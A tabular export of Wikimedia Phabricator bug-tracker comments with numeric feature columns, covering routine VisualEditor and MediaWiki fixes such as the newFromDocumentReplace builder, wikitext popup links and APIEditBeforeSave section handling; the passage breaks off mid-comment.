https://gerrit.wikimedia.org/r/82790",,,1380228356,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-oq4h4k5rxxh5mzsezcrf,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.588235294117647,1.0,"Change 82790 merged by jenkins-bot:
Introduce newFromDocumentReplace() transaction builder

GERRIT_URL"
239683,VisualEditor: Write newFromDocumentReplace so editing document slices is simple,"Change 82790 had a related patch set uploaded by Jforrester:
Introduce newFromDocumentReplace() transaction builder

https://gerrit.wikimedia.org/r/82790",,,1380145599,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-oq4h4k5rxxh5mzsezcrf,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.75,1.0,"Change 82790 had a related patch set uploaded by Jforrester:
Introduce newFromDocumentReplace() transaction builder

GERRIT_URL"
239682,VisualEditor: Write newFromDocumentReplace so editing document slices is simple,"Change 71661 abandoned by Catrope:
[WIP] ve.dm.Transaction: Implement newFromDocumentInsertion, take 2

Reason:
Superseded by https://gerrit.wikimedia.org/r/82790

https://gerrit.wikimedia.org/r/71661",,,1379533053,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-oq4h4k5rxxh5mzsezcrf,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,7.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.892857142857143,0.7857142857142857,"Change 71661 abandoned by Catrope:
[WIP] ve.dm.Transaction: Implement newFromDocumentInsertion, take 2

Reason:
Superseded by GERRIT_URL

GERRIT_URL"
239678,VisualEditor: Write newFromDocumentReplace so editing document slices is simple,"Change 71661 had a related patch set uploaded by Jforrester:
[WIP] ve.dm.Transaction: Implement newFromDocumentInsertion, take 2

https://gerrit.wikimedia.org/r/71661",,,1374855973,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-oq4h4k5rxxh5mzsezcrf,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.846153846153846,0.9615384615384616,"Change 71661 had a related patch set uploaded by Jforrester:
[WIP] ve.dm.Transaction: Implement newFromDocumentInsertion, take 2

GERRIT_URL"
54093,"VisualEditor: Make the ""wikitext"" link of the popup open in a new window","From bug 49820 comment 27:
John Broughton 2013-07-25 23:13:48 UTC
If it's not one thing, it's another ... The popup message is now visible no
matter where in a page the wikitext is being entered. So that's progress.

The popup is still too inconspicuous for my tastes (and a great opportunity for
A/B testing), but that's not what I'm posting about. My concern is with the
link that the popup message includes (the label is ""wikitext""; the target is
[[Help:Wiki markup]]). If that link is clicked, the system **asks the user
whether he/she wants to leave the editing page**. That's a bit user-unfriendly.

I realize that smarter users can right-click and then open the link in either
another tab or a new page, avoiding the question of whether they want to leave
their editing session. But if we're aiming at the average user, it would be
great if this link were pre-defined as opening another window, so that a simple
click on the link didn't result in a perturbed user.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51585
https://bugzilla.wikimedia.org/show_bug.cgi?id=51122",High,80.0,1374846180,1375203313.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-kcmkos4wcsglqvinne4e,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,1.3333333333333333,1.0,4.0,0.6666666666666666,0.0,0.0,1.3333333333333333,1.3333333333333333,1.0,0.0,0.0,0.0,1.6666666666666667,0.0,4.0,8.333333333333334,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,6.333333333333333,0.6666666666666666,1.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,2.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,15.333333333333334,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,7.0,3.3333333333333335,8.333333333333334,4.0,1.6666666666666667,10.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,2.3333333333333335,0.0,4.0,8.333333333333334,2.0,0.0,0.6666666666666666,0.0,4.0,0.0,0.6666666666666666,2.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,3.400749063670412,0.7078651685393259,"From bug 49820 comment 27:
John Broughton 2013-07-25 23:13:48 UTC
If it's not one thing, it's another ... The popup message is now visible no
matter where in a page the wikitext is being entered. So that's progress.

The popup is still too inconspicuous for my tastes (and a great opportunity for
A/B testing), but that's not what I'm posting about. My concern is with the
link that the popup message includes (the label is ""wikitext""; the target is
[[Help:Wiki markup]]). If that link is clicked, the system **asks the user
whether he/she wants to leave the editing page**. That's a bit user-unfriendly.

I realize that smarter users can right-click and then open the link in either
another tab or a new page, avoiding the question of whether they want to leave
their editing session. But if we're aiming at the average user, it would be
great if this link were pre-defined as opening another window, so that a simple
click on the link didn't result in a perturbed user.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
239240,"VisualEditor: Make the ""wikitext"" link of the popup open in a new window",This is now done and we'll get it deployed soon.,,,1375203313,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kcmkos4wcsglqvinne4e,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,This is now done and we'll get it deployed soon.
239235,"VisualEditor: Make the ""wikitext"" link of the popup open in a new window","Change 76701 merged by jenkins-bot:
Set links in wikitext warning to load in new window

https://gerrit.wikimedia.org/r/76701",,,1375201479,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kcmkos4wcsglqvinne4e,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,19.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.095238095238095,0.9523809523809523,"Change 76701 merged by jenkins-bot:
Set links in wikitext warning to load in new window

GERRIT_URL"
239229,"VisualEditor: Make the ""wikitext"" link of the popup open in a new window","Change 76701 had a related patch set uploaded by Helder.wiki:
Set links in wikitext warning to load in new window

https://gerrit.wikimedia.org/r/76701",,,1375189915,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kcmkos4wcsglqvinne4e,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.458333333333333,0.9583333333333334,"Change 76701 had a related patch set uploaded by Helder.wiki:
Set links in wikitext warning to load in new window

GERRIT_URL"
54077,APIEditBeforeSave isn't replacing sections like the documentation claims,"Reported: https://en.wikipedia.org/wiki/Wikipedia_talk:Tags#Incorrect_tagging
and
https://en.wikipedia.org/wiki/Wikipedia:VPT#Blanking_filter_misfire

**See Also**:
* {T54049}
* {T54062}",High,80.0,1374810540,1375288319.0,PHID-USER-z3l4i7dl52qicxtephy5,False,,False,PHID-TASK-v4wsjl2yostcro6yfl5m,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.16,0.52,"Reported: URL
and
URL

**See Also**:
* {T54049}
* {T54062}"
641845,APIEditBeforeSave isn't replacing sections like the documentation claims,"I think this really was a problem with AbuseFilter and not the hook; the hook documentation was unclear. My fix for T73947 fixes this too, so I proposed that the patch be reverted at https://gerrit.wikimedia.org/r/282101.",,,1460010223,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,True,,,144,,0.0,0.0,0.0,3.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,15.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,15.0,3.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,10.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.102564102564102,0.8205128205128205,"I think this really was a problem with AbuseFilter and not the hook; the hook documentation was unclear. My fix for T73947 fixes this too, so I proposed that the patch be reverted at GERRIT_URL."
238424,APIEditBeforeSave isn't replacing sections like the documentation claims,*** Bug 52895 has been marked as a duplicate of this bug. ***,,,1377001419,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52895 has been marked as a duplicate of this bug. ***
238419,APIEditBeforeSave isn't replacing sections like the documentation claims,*** Bug 52062 has been marked as a duplicate of this bug. ***,,,1376490819,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52062 has been marked as a duplicate of this bug. ***
238414,APIEditBeforeSave isn't replacing sections like the documentation claims,"Change 76082 merged by jenkins-bot:
Make APIEditBeforeSave give the whole revision

https://gerrit.wikimedia.org/r/76082",,,1375288239,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 76082 merged by jenkins-bot:
Make APIEditBeforeSave give the whole revision

GERRIT_URL"
238408,APIEditBeforeSave isn't replacing sections like the documentation claims,"See also:
* [[Wikipedia talk:Edit filter#Abusefilter bug on mobile version]]",,,1375279646,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.7777777777777777,0.8333333333333334,"See also:
* [[Wikipedia talk:Edit filter#Abusefilter bug on mobile version]]"
238403,APIEditBeforeSave isn't replacing sections like the documentation claims,"Change 76082 had a related patch set uploaded by Hoo man:
Make APIEditBeforeSave give the whole revision

https://gerrit.wikimedia.org/r/76082",,,1374839212,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,24.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.809523809523809,1.0,"Change 76082 had a related patch set uploaded by Hoo man:
Make APIEditBeforeSave give the whole revision

GERRIT_URL"
238396,APIEditBeforeSave isn't replacing sections like the documentation claims,"After some investigation it turns out, that this is an issue with the edit API. I'm just preparing a fix, but takes some time as both the API and EditPage itself are rather messy.",,,1374837132,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,3,,5.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,13.0,3.0,8.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,13.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,3.7435897435897436,0.8717948717948718,"After some investigation it turns out, that this is an issue with the edit API. I'm just preparing a fix, but takes some time as both the API and EditPage itself are rather messy."
238389,APIEditBeforeSave isn't replacing sections like the documentation claims,Hoo suspects that this is a problem with VisualEditor. Copying a few folks accordingly.,,,1374832035,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,3,,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,19.0,6.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,4.625,0.875,Hoo suspects that this is a problem with VisualEditor. Copying a few folks accordingly.
238385,APIEditBeforeSave isn't replacing sections like the documentation claims,"Marius, can you take a look at these? Chris is on vacation right now.",,,1374810663,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.2941176470588234,1.0,"Marius, can you take a look at these? Chris is on vacation right now."
238380,APIEditBeforeSave isn't replacing sections like the documentation claims,"The edits in question:
https://en.wikipedia.org/w/index.php?title=Christoph_Waltz&diff=565783472&oldid=565445126

and

https://en.wikipedia.org/w/index.php?title=Stone_Gossard&diff=565724723&oldid=563438457",,,1374810629,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8181818181818182,"The edits in question:
URL

and

URL"
54029,"VisualEditor: Template parameters with ""autofill"" TemplateData status should be autofilled","If the TemplateData for a template specifies a default value for a given parameter (see bug 52028) then that value should be prefilled when that parameter is added to the template. 

An example would be the current date for an accessdate parameter.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1374764040,1411174623.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-rlrxpsau6vww7ypqckon,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,3.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,8.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,4.369230769230769,0.6461538461538462,"If the TemplateData for a template specifies a default value for a given parameter (see bug 52028) then that value should be prefilled when that parameter is added to the template. 

An example would be the current date for an accessdate parameter.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
234969,"VisualEditor: Template parameters with ""autofill"" TemplateData status should be autofilled","Change 146396 merged by jenkins-bot:
Add 'autovalue' to TemplateData

https://gerrit.wikimedia.org/r/146396",,,1411174708,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rlrxpsau6vww7ypqckon,task_subcomment,,True,c1,3,False,,,63,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.294117647058823,0.9411764705882353,"Change 146396 merged by jenkins-bot:
Add 'autovalue' to TemplateData

GERRIT_URL"
234964,"VisualEditor: Template parameters with ""autofill"" TemplateData status should be autofilled","Change 146396 had a related patch set uploaded by Jforrester:
[wip] Add 'autovalue' to TemplateData

https://gerrit.wikimedia.org/r/146396",,,1411171994,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rlrxpsau6vww7ypqckon,task_subcomment,,True,c1,3,False,,,63,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,4.260869565217392,0.9565217391304348,"Change 146396 had a related patch set uploaded by Jforrester:
[wip] Add 'autovalue' to TemplateData

GERRIT_URL"
234959,"VisualEditor: Template parameters with ""autofill"" TemplateData status should be autofilled","That's not the meaning of the ""default"" flag on parameters, but of the proposed ""autofill"" concept from bug 51428; relabelling for 